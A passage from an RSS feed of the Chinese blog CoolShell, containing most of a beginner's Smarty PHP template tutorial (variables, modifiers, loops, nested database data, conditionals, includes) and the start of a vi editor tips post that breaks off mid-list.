&lt;html&gt;\n　　&lt;head&gt;\n　　&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=big5&quot;&gt;\n　　&lt;title&gt;&lt;?php echo $this-&gt;_tpl_vars[&#039;title&#039;]; ?&gt;&lt;/title&gt;\n　　&lt;/head&gt;\n　　&lt;body&gt;\n　　&lt;?php echo $this-&gt;_tpl_vars[&#039;content&#039;]; ?&gt;\n　　&lt;/body&gt;\n　　&lt;/html&gt;\n　　</pre>\n<p>　　没错，这就是 Smarty 编译过的档案。它将我们在模版中的变量转换成了 PHP 的语法来执行，下次再读取同样的内容时， Smarty 就会直接抓取这个档案来执行了。<br />\n　　<br />\n　　最后我们整理一下整个 Smarty 程序撰写步骤：<br />\n　　<br />\n　　Step 1. 加载 Smarty 模版引擎。<br />\n　　<br />\n　　Step 2. 建立 Smarty 对象。<br />\n　　<br />\n　　Step 3. 设定 Smarty 对象的参数。<br />\n　　<br />\n　　Step 4. 在程序中处理变量后，再用 Smarty 的 assign 方法将变量置入模版里。<br />\n　　<br />\n　　Step 5. 利用 Smarty 的 display 方法将网页秀出。<br />\n　　<br />\n　　<strong>如何安排你的程序架构</strong><br />\n　　<br />\n　　上面我们看到除了 Smarty 所需要的资料夹外 (class 、 configs 、 templates 、 templates_c) ，还有两个资料夹： includes 、 modules 。其实这是笔者模仿 XOOPS 的架构所建立出来的，因为 XOOPS 是笔者所接触到的程序中，少数使用 Smarty 模版引擎的架站程序。所谓西瓜偎大边，笔者这样的程序架构虽没有 XOOPS 的百分之一强，但至少给人看时还有 XOOPS 撑腰。<br />\n　　<br />\n　　includes 这个资料夹主要是用来放置一些 function 、 sql 檔，这样在 main.php 就可以将它们引入了，如下：<br />\n　　<br />\n　　main.php:<br />\n　　</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n　　&lt;?php\n　　include &quot;class/Smarty.class.php&quot;;\n　　define(&#039;__SITE_ROOT&#039;, &#039;d:/appserv/web/demo&#039;); // 最后没有斜线\n　　// 以 main.php 的位置为基准\n　　require_once &quot;includes/functions.php&quot;;\n　　require_once &quot;includes/include.php&quot;;\n　　$tpl = new Smarty();\n　　$tpl-&gt;template_dir = __SITE_ROOT . &quot;/templates/&quot;;\n　　$tpl-&gt;compile_dir = __SITE_ROOT . &quot;/templates_c/&quot;;\n　　$tpl-&gt;config_dir = __SITE_ROOT . &quot;/configs/&quot;;\n　　$tpl-&gt;cache_dir = __SITE_ROOT . &quot;/cache/&quot;;\n　　$tpl-&gt;left_delimiter = &#039;&lt;{&#039;;\n　　$tpl-&gt;right_delimiter = &#039;}&gt;&#039;;\n　　?&gt;\n　　</pre>\n<p>　　modules 这个资料夹则是用来放置程序模块的，如此一来便不会把程序丢得到处都是，整体架构一目了然。<br />\n　　<br />\n　　上面我们也提到 main.php ，这是整个程序的主要核心，不论是常数定义、外部程序加载、共享变量建立等，都是在这里开始的。所以之后的模块都只要将这个档案包含进来就可以啦。因此在程序流程规划期间，就必须好好构思 main.php 中应该要放那些东西；当然利用 include 或 require 指令，把每个环节清楚分离是再好不过了。<br />\n　　 　<img decoding=\"async\" loading=\"lazy\" src=\"http://linux.chinaitlab.com/imgfiles/2005.11.30.14.32.59.13.5.gif\" alt=\"\" width=\"180\" height=\"310\" /><br />\n　　在上节提到的 Smarty 程序 5 步骤， main.php 就会帮我们先将前 3 个步骤做好，后面的模块程序只要做后面两个步骤就可以了。<br />\n　　<br />\n　　<strong>从变量开始</strong><br />\n　　<br />\n　　如何使用变量<br />\n　　<br />\n　　从上一章范例中，我们可以清楚地看到我们利用 &lt;{ 及 }&gt; 这两个标示符号将变量包起来。预设的标示符号为 { 及 } ，但为了中文冲码及 <a href=\"http://java.chinaitlab.com/\" target=\"_blank\"><span style=\"color: #0000ff;\">Java</span></a>script 的关系，因此笔者还是模仿 XOOPS ，将标示符号换掉。变量的命名方式和 PHP 的变量命名方式是一模一样的，前面也有个 $ 字号 (这和一般的模版引擎不同)。标示符号就有点像是 PHP 中的 &lt;?php 及 ?&gt; (事实上它们的确会被替换成这个) ，所以以下的模版变量写法都是可行的：<br />\n　　<br />\n　　1. &lt;{$var}&gt;<br />\n　　<br />\n　　2. &lt;{ $var }&gt; &lt;!&#8211; 和变量之间有空格 &#8211;&gt;<br />\n　　<br />\n　　3. &lt;{$var<br />\n　　<br />\n　　}&gt; &lt;!&#8211; 启始的标示符号和结束的标示符号不在同一行 &#8211;&gt;<br />\n　　在 Smarty 里，变量预设是全域的，也就是说你只要指定一次就好了。指定两次以上的话，变量内容会以最后指定的为主。就算我们在主模版中加载了外部的子模版，子模版中同样的变量一样也会被替代，这样我们就不用再针对子模版再做一次解析的动作。<br />\n　　<br />\n　　而在 PHP 程序中，我们用 Smarty 的 assign 来将变量置放到模版中。 assign 的用法官方手册中已经写得很多了，用法就如同上一节的范例所示。不过在重复区块时，我们就必须将变量做一些手脚后，才能将变量 assign 到模版中，这在下一章再提。<br />\n　　<br />\n　　<strong>修饰你的变量</strong><br />\n　　<br />\n　　上面我们提到 Smarty 变量呈现的风貌是由模版自行决定的，所以 Smarty 提供了许多修饰变量的函式。使用的方法如下：<br />\n　　<br />\n　　&lt;{变量|修饰函式}&gt; &lt;!&#8211; 当修饰函式没有参数时 &#8211;&gt;<br />\n　　<br />\n　　&lt;{变量|修饰函式:&#8221;参数(非必要，视函式而定)&#8221;}&gt; &lt;!&#8211; 当修饰函式有参数时 &#8211;&gt;<br />\n　　范例如下：<br />\n　　<br />\n　　&lt;{$var|nl2br}&gt; &lt;!&#8211; 将变量中的换行字符换成 &lt;br /&gt; &#8211;&gt;<br />\n　　<br />\n　　&lt;{$var|string_format:&#8221;%02d&#8221;}&gt; &lt;!&#8211; 将变量格式化 &#8211;&gt;<br />\n　　好，那为什么要让模版自行决定变量呈现的风貌？先看看底下的 HTML ，这是某个购物车结帐的部份画面。<br />\n　　<br />\n　　&lt;input name=&#8221;total&#8221; type=&#8221;hidden&#8221; value=&#8221;21000&#8243; /&gt;<br />\n　　<br />\n　　总金额：21,000 元<br />\n　　一般模版引擎的模版可能会这样写：<br />\n　　<br />\n　　&lt;input name=&#8221;total&#8221; type=&#8221;hidden&#8221; value=&#8221;{total}&#8221; /&gt;<br />\n　　<br />\n　　总金额：{format_total} 元<br />\n　　它们的 PHP 程序中要这样写：<br />\n　　</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n　　&lt;?php\n　　$total = 21000;\n　　$tpl-&gt;assign(&quot;total&quot;, $total);\n　　$tpl-&gt;assign(&quot;format_total&quot;, number_format($total));\n　　?&gt;\n　　</pre>\n<p>　　而 Smarty 的模版就可以这样写： (number_format 修饰函式请到Smarty 官方网页<a href=\"http://download.chinaitlab.com/\" target=\"_blank\"><span style=\"color: #0000ff;\">下载</span></a>)<br />\n　　<br />\n　　&lt;input name=&#8221;total&#8221; type=&#8221;hidden&#8221; value=&#8221;&lt;{$total}&gt;&#8221; /&gt;<br />\n　　<br />\n　　总金额：&lt;{$total|number_format:&#8221;&#8221;}&gt; 元<br />\n　　Smarty 的 PHP 程序中只要这样写：<br />\n　　</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n　　&lt;?php\n　　$total = 21000;\n　　$tpl-&gt;assign(&quot;total&quot;, $total);\n　　?&gt;\n　　</pre>\n<p>　　所以在 Smarty 中我们只要指定一次变量，剩下的交给模版自行决定即可。这样了解了吗？这就是让模版自行决定变量呈现风貌的好处！<br />\n　　<br />\n　　<strong>控制模版的内容<br />\n　　<br />\n　　重复的区块</strong><br />\n　　<br />\n　　在 Smarty 样板中，我们要重复一个区块有两种方式： foreach 及 section 。而在程序中我们则要 assign 一个数组，这个数组中可以包含数组数组。就像下面这个例子：<br />\n　　<br />\n　　首先我们来看 PHP 程序是如何写的：<br />\n　　<br />\n　　test2.php:<br />\n　　</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n　　&lt;?php\n　　require &quot;main.php&quot;;\n　　$array1 = array(1 =&gt; &quot;苹果&quot;, 2 =&gt; &quot;菠萝&quot;, 3 =&gt; &quot;香蕉&quot;, 4 =&gt; &quot;芭乐&quot;);\n　　$tpl-&gt;assign(&quot;array1&quot;, $array1);\n　　$array2 = array(\n　　array(&quot;index1&quot; =&gt; &quot;data1-1&quot;, &quot;index2&quot; =&gt; &quot;data1-2&quot;, &quot;index3&quot; =&gt; &quot;data1-3&quot;),\n　　array(&quot;index1&quot; =&gt; &quot;data2-1&quot;, &quot;index2&quot; =&gt; &quot;data2-2&quot;, &quot;index3&quot; =&gt; &quot;data2-3&quot;),\n　　array(&quot;index1&quot; =&gt; &quot;data3-1&quot;, &quot;index2&quot; =&gt; &quot;data3-2&quot;, &quot;index3&quot; =&gt; &quot;data3-3&quot;),\n　　array(&quot;index1&quot; =&gt; &quot;data4-1&quot;, &quot;index2&quot; =&gt; &quot;data4-2&quot;, &quot;index3&quot; =&gt; &quot;data4-3&quot;),\n　　array(&quot;index1&quot; =&gt; &quot;data5-1&quot;, &quot;index2&quot; =&gt; &quot;data5-2&quot;, &quot;index3&quot; =&gt; &quot;data5-3&quot;));\n　　$tpl-&gt;assign(&quot;array2&quot;, $array2);\n　　$tpl-&gt;display(&quot;test2.htm&quot;);\n　　?&gt;\n　　</pre>\n<p>　　而模版的写法如下：<br />\n　　<br />\n　　templates/test2.htm:<br />\n　　</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n　　&lt;html&gt;\n　　&lt;head&gt;\n　　&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=big5&quot;&gt;\n　　&lt;title&gt;测试重复区块&lt;/title&gt;\n　　&lt;/head&gt;\n　　&lt;body&gt;\n　　\n&lt;pre&gt;\n　　利用 foreach 来呈现 array1\n　　&lt;{foreach item=item1 from=$array1}&gt;\n　　&lt;{$item1}&gt;\n　　&lt;{/foreach}&gt;\n　　利用 section 来呈现 array1\n　　&lt;{section name=sec1 loop=$array1}&gt;\n　　&lt;{$array1[sec1]}&gt;\n　　&lt;{/section}&gt;\n　　利用 foreach 来呈现 array2\n　　&lt;{foreach item=index2 from=$array2}&gt;\n　　&lt;{foreach key=key2 item=item2 from=$index2}&gt;\n　　&lt;{$key2}&gt;: &lt;{$item2}&gt;\n　　&lt;{/foreach}&gt;\n　　&lt;{/foreach}&gt;\n　　利用 section 来呈现 array1\n　　&lt;{section name=sec2 loop=$array2}&gt;\n　　index1: &lt;{$array2[sec2].index1}&gt;\n　　index2: &lt;{$array2[sec2].index2}&gt;\n　　index3: &lt;{$array2[sec2].index3}&gt;\n　　&lt;{/section}&gt;\n　　&lt;/pre&gt;\n　　&lt;/body&gt;\n　　&lt;/html&gt;\n　　</pre>\n<p>　　执行上例后，我们发现不管是 foreach 或 section 两个执行结果是一样的。那么两者到底有何不同呢？<br />\n　　<br />\n　　第一个差别很明显，就是foreach 要以巢状处理的方式来呈现我们所 assign 的两层数组变量，而 section 则以「主数组[循环名称].子数组索引」即可将整个数组呈现出来。由此可知， Smarty 在模版中的 foreach 和 PHP 中的 foreach 是一样的；而 section 则是 Smarty 为了处理如上列的数组变量所发展出来的叙述。当然 section 的功能还不只如此，除了下一节所谈到的巢状资料呈现外，官方手册中也提供了好几个 section 的应用范例。<br />\n　　<br />\n　　不过要注意的是，丢给 section 的数组索引必须是从 0 开始的正整数，即 0, 1, 2, 3, &#8230;。如果您的数组索引不是从 0 开始的正整数，那么就得改用 foreach 来呈现您的资料。您可以参考官方讨论区中的此篇讨论，其中探讨了 section 和 foreach 的用法。<br />\n　　<br />\n　　<strong>巢状资料的呈现</strong><br />\n　　<br />\n　　模版引擎里最令人伤脑筋的大概就是巢状资料的呈现吧，许多著名的模版引擎都会特意强调这点，不过这对 Smarty 来说却是小儿科。<br />\n　　<br />\n　　最常见到的巢状资料，就算论譠程序中的讨论主题区吧。假设要呈现的结果如下：<br />\n　　<br />\n　　公告区<br />\n　　<br />\n　　站务公告<br />\n　　<br />\n　　文学专区<br />\n　　<br />\n　　好书介绍<br />\n　　<br />\n　　奇文共赏<br />\n　　<br />\n　　计算机专区<br />\n　　<br />\n　　硬件外围<br />\n　　<br />\n　　<span class=\"t_tag\">软件</span>讨论<br />\n　　<br />\n　　程序中我们先以静态资料为例：<br />\n　　<br />\n　　test3.php:<br />\n　　</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n　　&lt;?php\n　　require &quot;main.php&quot;;\n　　$forum = array(\n　　array(&quot;category_id&quot; =&gt; 1, &quot;category_name&quot; =&gt; &quot;公告区&quot;,\n　　&quot;topic&quot; =&gt; array(\n　　array(&quot;topic_id&quot; =&gt; 1, &quot;topic_name&quot; =&gt; &quot;站务公告&quot;)\n　　)\n　　),\n　　array(&quot;category_id&quot; =&gt; 2, &quot;category_name&quot; =&gt; &quot;文学专区&quot;,\n　　&quot;topic&quot; =&gt; array(\n　　array(&quot;topic_id&quot; =&gt; 2, &quot;topic_name&quot; =&gt; &quot;好书介绍&quot;),\n　　array(&quot;topic_id&quot; =&gt; 3, &quot;topic_name&quot; =&gt; &quot;奇文共赏&quot;)\n　　)\n　　),\n　　array(&quot;category_id&quot; =&gt; 3, &quot;category_name&quot; =&gt; &quot;计算机专区&quot;,\n　　&quot;topic&quot; =&gt; array(\n　　array(&quot;topic_id&quot; =&gt; 4, &quot;topic_name&quot; =&gt; &quot;硬件外围&quot;),\n　　array(&quot;topic_id&quot; =&gt; 5, &quot;topic_name&quot; =&gt; &quot;软件讨论&quot;)\n　　)\n　　)\n　　);\n　　$tpl-&gt;assign(&quot;forum&quot;, $forum);\n　　$tpl-&gt;display(&quot;test3.htm&quot;);\n　　?&gt;\n　　</pre>\n<p>　　模版的写法如下：<br />\n　　<br />\n　　templates/test3.htm:<br />\n　　</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n　　&lt;html&gt;\n　　&lt;head&gt;\n　　&lt;title&gt;巢状循环测试&lt;/title&gt;\n　　&lt;/head&gt;\n　　&lt;body&gt;\n　　\n&lt;table width=&quot;200&quot; border=&quot;0&quot; align=&quot;center&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot;&gt;\n　　&lt;{section name=sec1 loop=$forum}&gt;\n　　\n&lt;tr&gt;\n　　\n&lt;td colspan=&quot;2&quot;&gt;&lt;{$forum[sec1].category_name}&gt;&lt;/td&gt;\n　　&lt;/tr&gt;\n　　&lt;{section name=sec2 loop=$forum[sec1].topic}&gt;\n　　\n&lt;tr&gt;\n　　\n&lt;td width=&quot;25&quot;&gt;&lt;/td&gt;\n　　\n&lt;td width=&quot;164&quot;&gt;&lt;{$forum[sec1].topic[sec2].topic_name}&gt;&lt;/td&gt;\n　　&lt;/tr&gt;\n　　&lt;{/section}&gt;\n　　&lt;{/section}&gt;\n　　&lt;/table&gt;\n　　&lt;/body&gt;\n　　&lt;/html&gt;\n　　</pre>\n<p>　　执行的结果就像笔者举的例子一样。<br />\n　　<br />\n　　因此呢，在程序中我们只要想<span class=\"t_tag\">办法</span>把所要重复值一层一层的塞到数组中，再利用 &lt;{第一层数组[循环1].第二层数组[循环2].第三层数组[循环3]. &#8230; .数组索引}&gt; 这样的方式来显示每一个巢状循环中的值。至于用什么方法呢？下一节使用<span class=\"t_tag\">数据库</span>时我们再提。<br />\n　　<br />\n　　<strong>转换<span class=\"t_tag\">数据</span>库中的资料</strong><br />\n　　<br />\n　　上面提到如何显示巢状循环，而实际上应用时我们的资料可能是从数据库中抓取出来的，所以我们就得想办法把数据库的资料变成上述的多重数组的形式。这里笔者用一个 DB 类别来抓取数据库中的资料，您可以自行用您喜欢的方法。<br />\n　　<br />\n　　我们只修改 PHP 程序，模版还是上面那个 (这就是模版引擎的好处~)，其中 $db 这个对象假设已经在 main.php 中建立好了，而且抓出来的资料就是上面的例子。<br />\n　　<br />\n　　test3.php:<br />\n　　</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n　　&lt;?php\n　　require &quot;main.php&quot;;\n　　// 先建立第一层数组\n　　$category = array();\n　　$db-&gt;set&lt;span class=&quot;t_tag&quot;&gt;SQL&lt;/span&gt;($SQL1, &#039;CATEGORY&#039;);\n　　if (!$db-&gt;query(&#039;CATEGORY&#039;)) die($db-&gt;error());\n　　// 抓取第一层循环的资料\n　　while ($item_category = $db-&gt;fetchAssoc(&#039;CATEGORY&#039;))\n　　{\n　　// 建立第二层数组\n　　$topic = array();\n　　$db-&gt;setSQL(sprintf($SQL2, $item_category[&#039;category_id&#039;]), &#039;TOPIC&#039;);\n　　if (!$db-&gt;query(&#039;TOPIC&#039;)) die($db-&gt;error());\n　　// 抓取第二层循环的资料\n　　while ($item_topic = $db-&gt;fetchAssoc(&#039;TOPIC&#039;))\n　　{\n　　// 把抓取的数据推入第二层数组中\n　　array_push($topic, $item_topic);\n　　}\n　　// 把第二层数组指定为第一层数组所抓取的数据中的一个成员\n　　$item_category[&#039;topic&#039;] = $topic;\n　　// 把第一层数据推入第一层数组中\n　　array_push($category, $item_category);\n　　}\n　　$tpl-&gt;assign(&quot;forum&quot;, $category);\n　　$tpl-&gt;display(&quot;test3.htm&quot;);\n　　?&gt;\n　　</pre>\n<p>　　在数据库抓取一笔资料后，我们得到的是一个包含该笔数据的数组。透过 while 叙述及 array_push 函式，我们将数据库中的资料一笔一笔塞到数组里。如果您只用到单层循环，就把第二层循环 (红色的部份) 去掉即可。<br />\n　　<br />\n　　<strong>决定内容是否显示</strong><br />\n　　<br />\n　　要决定是否显示内容，我们可以使用 if 这个语法来做选择。例如如果使用者已经登入的话，我们的模版就可以这样写：<br />\n　　<br />\n　　&lt;{if $is_login == true}&gt;<br />\n　　显示使用者操作选单<br />\n　　&lt;{else}&gt;<br />\n　　显示输入<span class=\"t_tag\">帐号</span>和<span class=\"t_tag\">密码</span>的窗体<br />\n　　&lt;{/if}&gt;<br />\n　　<br />\n　　要注意的是，「==」号两边一定要各留至少一个空格符，否则 Smarty 会无法解析。<br />\n　　<br />\n　　if 语法一般的应用可以参照官方使用说明，所以笔者在这里就不详加介绍了。不过笔者发现了一个有趣的应用：常常会看到程序里要产生这样的一个表格： (数字代表的是资料集的顺序)<br />\n　　<br />\n　　1 2<br />\n　　<br />\n　　3 4<br />\n　　<br />\n　　5 6<br />\n　　<br />\n　　7 8<br />\n　　<br />\n　　这个笔者称之为「横向重复表格」。它的特色和传统的纵向重复不同，前几节我们看到的重复表格都是从上而下，一列只有一笔资料。而横向重复表格则可以横向地在一列中产生 n 笔资料后，再换下一列，直到整个循环结束。要达到这样的功能，最简单的方式只需要 section 和 if 搭配即可。<br />\n　　<br />\n　　我们来看看下面这个例子：<br />\n　　<br />\n　　test4.php:<br />\n　　</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n　　&lt;?php\n　　require &quot;main.php&quot;;\n　　$my_array = array(\n　　array(&quot;value&quot; =&gt; &quot;0&quot;),\n　　array(&quot;value&quot; =&gt; &quot;1&quot;),\n　　array(&quot;value&quot; =&gt; &quot;2&quot;),\n　　array(&quot;value&quot; =&gt; &quot;3&quot;),\n　　array(&quot;value&quot; =&gt; &quot;4&quot;),\n　　array(&quot;value&quot; =&gt; &quot;5&quot;),\n　　array(&quot;value&quot; =&gt; &quot;6&quot;),\n　　array(&quot;value&quot; =&gt; &quot;7&quot;),\n　　array(&quot;value&quot; =&gt; &quot;8&quot;),\n　　array(&quot;value&quot; =&gt; &quot;9&quot;));\n　　$tpl-&gt;assign(&quot;my_array&quot;, $my_array);\n　　$tpl-&gt;display(&#039;test4.htm&#039;);\n　　?&gt;\n　　</pre>\n<p>　　模版的写法如下：<br />\n　　<br />\n　　templates/test4.htm:<br />\n　　</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n　　&lt;html&gt;\n　　&lt;head&gt;\n　　&lt;title&gt;横向重复表格测试&lt;/title&gt;\n　　&lt;/head&gt;\n　　&lt;body&gt;\n　　\n&lt;table width=&quot;500&quot; border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;3&quot;&gt;\n　　\n&lt;tr&gt;\n　　&lt;{section name=sec1 loop=$my_array}&gt;\n　　\n&lt;td&gt;&lt;{$my_array[sec1].value}&gt;&lt;/td&gt;\n　　&lt;{if $smarty.section.sec1.rownum is div by 2}&gt;\n　　&lt;/tr&gt;\n　　\n&lt;tr&gt;\n　　&lt;{/if}&gt;\n　　&lt;{/section}&gt;\n　　&lt;/tr&gt;\n　　&lt;/table&gt;\n　　&lt;/body&gt;\n　　&lt;/html&gt;\n　　</pre>\n<p>　　重点在于 $smarty.section.sec1.rownum 这个 Smarty 变量，在 section 循环中这个变量会取得从 1 开始的索引值，所以当 rownum 能被 2 除尽时，就输出 &lt;/tr&gt;&lt;tr&gt; 使表格换列 (注意！是 &lt;/tr&gt; 在前面&lt;tr&gt; 在后面) 。因此数字 2 就是我们在一列中想要呈现的资料笔数。各位可以由此去变化其它不同的呈现方式。<br />\n　　<br />\n　　<strong>加载外部内容</strong><br />\n　　<br />\n　　我们可以在模版内加载 PHP 程序<span class=\"t_tag\">代码</span>或是另一个子模版，分别是使用 include_php 及 include 这两个 Smarty 模版语法； include_php 笔者较少用，使用方式可以查询官方手册，这里不再叙述。<br />\n　　<br />\n　　在使用 include 时，我们可以预先加载子模版，或是动态加载子模版。预先加载通常使用在有共同的<span class=\"t_tag\">文件</span>标头及版权宣告；而动态加载则可以用在统一的框架页，而进一步达到如 Win<span class=\"t_tag\">amp</span> 般可换 Skin 。当然这两种我们也可以混用，视状况而定。<br />\n　　<br />\n　　我们来看看下面这个例子：<br />\n　　<br />\n　　test5.php:<br />\n　　</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n　　&lt;?php\n　　require &quot;main.php&quot;;\n　　$tpl-&gt;assign(&quot;title&quot;, &quot;Include 测试&quot;);\n　　$tpl-&gt;assign(&quot;content&quot;, &quot;这是模版 2 中的变量&quot;);\n　　$tpl-&gt;assign(&quot;dyn_page&quot;, &quot;test5_3.htm&quot;);\n　　$tpl-&gt;display(&#039;test5_1.htm&#039;);\n　　?&gt;\n　　</pre>\n<p>　　模版 1 的写法如下：<br />\n　　<br />\n　　templates/test5_1.htm:<br />\n　　</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n　　&lt;html&gt;\n　　&lt;head&gt;\n　　&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=big5&quot;&gt;\n　　&lt;title&gt;&lt;{$title}&gt;&lt;/title&gt;\n　　&lt;/head&gt;\n　　&lt;body&gt;\n　　&lt;{include file=&quot;test5_2.htm&quot;}&gt;\n　　&lt;{include file=$dyn_page}&gt;\n　　&lt;{include file=&quot;test5_4.htm&quot; custom_var=&quot;自订变量的内容&quot;}&gt;\n　　&lt;/body&gt;\n　　&lt;/html&gt;\n　　</pre>\n<p>　　模版 2 的写法如下：<br />\n　　<br />\n　　templates/test5_2.htm:<br />\n　　<br />\n　　&lt;{$content}&gt;<br />\n　　模版 3 的写法如下：<br />\n　　<br />\n　　templates/test5_3.htm:<br />\n　　<br />\n　　这是模版 3 的内容<br />\n　　模版 4 的写法如下：<br />\n　　<br />\n　　templates/test5_4.htm:<br />\n　　<br />\n　　&lt;{$custom_var}&gt;</p>\n<p>　　这里注意几个重点：1. 模版的位置都是以先前定义的 template_dir 为基准；2. 所有 include 进来的子模版中，其变量也会被解译。；3. include 中可以用「变量名称=变量内容」来指定引含进来的模版中所包含的变量，如同上面模版 4 的做法。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/455.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/04/akismet-150x150.jpg\" alt=\"9个强大免费的PHP库\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/455.html\" class=\"wp_rp_title\">9个强大免费的PHP库</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li><li ><a href=\"https://coolshell.cn/articles/5160.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/08/Pagination-e1312791884744-150x150.jpg\" alt=\"PHP分页技术的代码和示例\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5160.html\" class=\"wp_rp_title\">PHP分页技术的代码和示例</a></li><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/559.html\">菜鸟学PHP之Smarty入门</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/559.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>7</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>VI的一些小技巧</title>\n\t\t<link>https://coolshell.cn/articles/556.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/556.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 17 Apr 2009 04:45:20 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[vi]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=556</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是一些vi的小技巧。 :sp &#60;filename&#62;  打开一个文件，并和当前打开的文件分屏显示。 Ctrl+W+W 在分屏显示中的不同文件中切换...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/556.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/556.html\">VI的一些小技巧</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面是一些vi的小技巧。</p>\n<p style=\"padding-left: 30px;\"><strong>:sp &lt;filename&gt;<br />\n</strong> 打开一个文件，并和当前打开的文件分屏显示。</p>\n<p style=\"padding-left: 30px;\"><strong>Ctrl+W+W<br />\n</strong>在分屏显示中的不同文件中切换。</p>\n<p style=\"padding-left: 30px;\"><strong>*</strong><br />\n向前搜索目前光标所在的单词。</p>\n<p style=\"padding-left: 30px;\"><strong>#</strong><br />\n向后搜索目前光标所在的单词。</p>\n<p style=\"padding-left: 30px;\"><strong>:%s/word1/word2/g<br />\n</strong>全文搜索word1并以word2替换之。</p>\n<p style=\"padding-left: 30px;\"><strong>:&#8217;a,&#8217;bs/word1/word2/g</strong><br />\n仅在第a行到第b行间搜索并替换。</p>\n<p style=\"padding-left: 30px;\"><span id=\"more-556\"></span></p>\n<p style=\"padding-left: 30px;\"><strong>:!&lt;command&gt;</strong><br />\n执行一个Shell命令。</p>\n<p style=\"padding-left: 30px;\"><strong>:!javac %</strong><br />\n使用%可以表示当前文件名。比如：sample.java，以达到编译的目的。</p>\n<p style=\"padding-left: 30px;\"><strong>:sh</strong><br />\n启运一个shell而不退出vi。exit 命令后回到vi.</p>\n<p style=\"padding-left: 30px;\"><strong>:line_number</strong><br 